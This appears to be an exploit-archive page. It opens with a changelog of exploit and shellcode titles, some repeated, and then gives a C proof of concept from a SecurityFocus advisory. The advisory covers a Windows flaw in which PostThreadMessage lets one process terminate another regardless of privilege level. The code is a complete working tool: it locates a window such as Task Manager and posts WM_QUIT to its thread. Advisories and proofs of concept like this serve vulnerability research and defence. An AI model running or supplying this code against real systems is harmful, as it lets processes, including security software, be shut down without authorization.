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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
44 lines
No EOL
2 KiB
C
44 lines
No EOL
2 KiB
C
// source: https://www.securityfocus.com/bid/8747/info
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A vulnerability has been discovered in the Microsoft Windows operating system. The flaw lies in the way that processes handle messages sent from another process via the PostThreadMessage() API call. Reports indicate that, if a running process has a message queue and is sent one of 3 different messages, the process may terminate. This termination will occur despite any security level differences between processes, as well as any safe guards to prevent this behaviour, such as requiring a password before the process is killed.
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This issue likely occurs due to a design error, specifically failing to ensure that process verifies the origin of messages recieved via the PostThreadMessage() API call.
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#include <windows.h>
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#include <commctrl.h>
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#include <stdio.h>
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char tWindow[]="Windows Task Manager";// The name of the main window
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char* pWindow;
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int main(int argc, char *argv[])
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{
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long hWnd,proc;
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DWORD hThread;
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printf("%% AppShutdown - Playing with PostThreadMessage\n");
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printf("%% brett.moore@security-assessment.com\n\n");
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// Specify Window Title On Command Line
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if (argc ==2)
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pWindow = argv[1];
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else
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pWindow = tWindow;
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printf("+ Finding %s Window...\n",pWindow);
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hWnd = (long)FindWindow(NULL,pWindow);
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if(hWnd == NULL)
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{
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printf("+ Couldn't Find %s Window\n",pWindow);
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return 0;
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}
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printf("+ Found Main Window At...0x%xh\n",hWnd);
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printf("+ Finding Window Thread..");
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hThread = GetWindowThreadProcessId(hWnd,&proc);
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if(hThread == NULL)
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{
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printf("Failed\n");
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return 0;
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}
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printf("0x%xh Process 0x%xh\n",hThread,proc);
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printf("+ Send Quit Message\n");
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PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0);
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printf("+ Done...\n");
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return 0;
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} |